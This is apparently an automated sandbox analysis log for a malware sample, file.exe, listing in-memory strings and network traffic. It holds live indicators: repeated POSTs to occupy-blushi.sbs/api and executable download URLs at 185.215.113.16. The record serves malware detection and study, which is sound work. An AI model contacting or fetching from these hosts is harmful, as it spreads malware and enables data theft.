HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: occupy-blushi.sbs

Source: file.exe, file.exe, 00000000.00000003.2446952078.0000000000F8D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2523718524.0000000000F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.2523501336.0000000000D5A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: file.exe, 00000000.00000002.2523718524.0000000000F4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2246075868.000000000584C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2246075868.000000000584C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2246075868.000000000584C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2246075868.000000000584C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2246075868.000000000584C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2246075868.000000000584C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2246075868.000000000584C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2246075868.000000000584C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2246075868.000000000584C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_111.7.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.2246075868.000000000584C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2246075868.000000000584C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2195243541.000000000584D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195148436.000000000584F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_111.7.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_111.7.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_111.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_111.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.2270735797.000000000580F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270578455.0000000005809000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270277885.0000000005809000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000003.2270735797.000000000580F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270578455.0000000005809000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270277885.0000000005809000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file.exe, 00000000.00000003.2195243541.000000000584D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195148436.000000000584F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2195243541.000000000584D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195148436.000000000584F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2195243541.000000000584D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195148436.000000000584F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.2270735797.000000000580F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270578455.0000000005809000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270277885.0000000005809000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000003.2270735797.000000000580F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270578455.0000000005809000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270277885.0000000005809000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2195243541.000000000584D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195148436.000000000584F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2195243541.000000000584D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195148436.000000000584F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2195243541.000000000584D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195148436.000000000584F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_111.7.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_111.7.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_111.7.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_111.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_111.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_111.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_111.7.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_111.7.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_111.7.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_111.7.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.2270277885.0000000005809000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_111.7.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: file.exe, 00000000.00000003.2314664087.0000000000FC9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313768386.0000000000FC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/
Source: file.exe, 00000000.00000003.2270672070.000000000581B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2294856183.000000000581C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245865541.0000000005817000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245552829.000000000580B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270277885.0000000005813000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270422459.0000000005817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/#
Source: file.exe, 00000000.00000003.2218337118.000000000581C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/O
Source: file.exe, 00000000.00000003.2218234084.0000000005818000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/_
Source: file.exe, 00000000.00000003.2274188678.0000000000FCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2314664087.0000000000FC9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2274104949.0000000000FC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2271174283.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2274165981.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195221853.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313768386.0000000000FC9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2274012814.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195055041.0000000000FAC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2295249589.0000000000FC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/api
Source: file.exe, 00000000.00000003.2294856183.000000000581C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2314581977.000000000581D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2447117000.0000000005818000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/api#
Source: file.exe, 00000000.00000002.2523718524.0000000000F21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/apil
Source: file.exe, 00000000.00000003.2270672070.000000000581B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270277885.0000000005813000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270422459.0000000005817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/apis
Source: file.exe, 00000000.00000003.2270672070.000000000581B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2294856183.000000000581C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2314581977.000000000581D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270277885.0000000005813000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2447117000.0000000005818000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270422459.0000000005817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/db
Source: file.exe, 00000000.00000003.2294856183.000000000581C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/pis
Source: file.exe, 00000000.00000002.2523718524.0000000000F21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://occupy-blushi.sbs/ule
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_91.7.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.2247044308.0000000005926000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2247044308.0000000005926000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_91.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.2270735797.000000000580F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270578455.0000000005809000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270277885.0000000005809000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: file.exe, 00000000.00000003.2195243541.000000000584D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195148436.000000000584F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2195243541.000000000584D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195148436.000000000584F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_103.7.dr, chromecache_91.7.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.2246935738.0000000005848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: file.exe, 00000000.00000003.2246935738.0000000005848000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000003.2247044308.0000000005926000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000003.2247044308.0000000005926000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2247044308.0000000005926000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2270735797.000000000580F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270578455.0000000005809000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2270277885.0000000005809000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
